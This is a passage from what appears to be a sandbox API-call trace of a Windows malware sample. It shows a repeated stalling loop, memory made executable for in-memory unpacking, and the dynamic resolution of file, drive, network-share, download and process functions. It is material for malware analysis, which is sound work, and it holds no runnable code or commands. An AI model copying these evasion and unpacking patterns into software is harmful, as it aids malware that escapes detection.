hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.739] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.739] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.739] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.740] GetTickCount () returned 0x1c33e [0053.740] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.740] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.740] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.740] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.740] GetTickCount () returned 0x1c33e [0053.740] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.740] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.740] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.740] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.740] GetTickCount () returned 0x1c33e [0053.740] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.740] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.740] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.740] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.740] GetTickCount () returned 0x1c33e [0053.740] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.740] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.740] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.740] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.740] GetTickCount () returned 0x1c33e [0053.740] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.740] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.740] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.740] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.741] GetTickCount () returned 0x1c33e [0053.741] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.741] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.741] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.741] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.741] GetTickCount () returned 0x1c33e [0053.741] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.741] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.741] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.741] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.741] GetTickCount () returned 0x1c33e [0053.741] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.741] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.741] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.741] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.741] GetTickCount () returned 0x1c33e [0053.741] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.741] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.741] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.741] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.741] GetTickCount () returned 0x1c33e [0053.741] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.741] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.741] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.741] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.742] GetTickCount () returned 0x1c33e [0053.742] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.742] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.742] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.742] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.742] GetTickCount () returned 0x1c33e [0053.742] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.742] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.742] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.742] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.742] GetTickCount () returned 0x1c33e [0053.742] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.742] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.742] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.742] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.742] GetTickCount () returned 0x1c33e [0053.742] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.742] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.742] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.742] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.742] GetTickCount () returned 0x1c33e [0053.742] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.742] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.742] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.742] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.742] GetTickCount () returned 0x1c33e [0053.743] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.743] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.743] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.743] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.743] GetTickCount () returned 0x1c33e [0053.743] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.743] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.743] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.743] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.743] GetTickCount () returned 0x1c33e [0053.743] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.743] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.743] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.743] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.743] GetTickCount () returned 0x1c33e [0053.743] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.743] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.743] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.743] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.743] GetTickCount () returned 0x1c33e [0053.743] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.743] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.743] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.743] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.743] GetTickCount () returned 0x1c33e [0053.744] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.744] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.744] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.744] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.744] GetTickCount () returned 0x1c33e [0053.744] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.744] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.744] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.744] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.744] GetTickCount () returned 0x1c33e [0053.744] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.744] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.744] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.744] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0055.625] LocalAlloc (uFlags=0x0, uBytes=0x4690c) returned 0x5d3fd0 [0055.641] LocalAlloc (uFlags=0x0, uBytes=0x4690c) returned 0x61a8e8 [0055.648] VirtualProtect (in: lpAddress=0x61a8e8, dwSize=0x34ec9, flNewProtect=0x40, lpflOldProtect=0x18f3f0 | out: lpflOldProtect=0x18f3f0*=0x4) returned 1 [0055.662] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.663] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0055.663] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0055.663] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0055.663] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0055.663] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0055.663] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0055.663] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58 [0055.667] Module32First (hSnapshot=0x58, lpme=0x18f174) returned 1 [0055.721] CloseHandle (hObject=0x58) returned 1 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0055.723] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0055.723] SetErrorMode (uMode=0x400) returned 0x8001 [0055.723] SetErrorMode (uMode=0x0) returned 0x400 [0055.723] GetVersionExA (in: lpVersionInformation=0x18e2f8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e2f8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0055.723] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0055.731] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18f380 | out: lpflOldProtect=0x18f380*=0x2) returned 1 [0055.745] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.747] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0055.748] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0055.748] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0055.748] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0055.748] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0055.748] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0055.748] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b30000 [0055.754] GetProcAddress (hModule=0x74b30000, lpProcName="WNetCloseEnum") returned 0x74b32dd6 [0055.754] GetProcAddress (hModule=0x74b30000, lpProcName="WNetOpenEnumW") returned 0x74b32f06 [0055.754] GetProcAddress (hModule=0x74b30000, lpProcName="WNetEnumResourceW") returned 0x74b33058 [0055.754] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0055.798] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0055.798] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0055.798] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0055.798] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0055.798] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0055.798] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0055.799] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0055.799] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0055.801] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0055.801] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0055.801] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0055.801] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0055.801] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0055.801] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0055.802] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0055.802] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0055.802] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0055.802] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0055.803] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0055.804] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0055.805] GetProcAddress 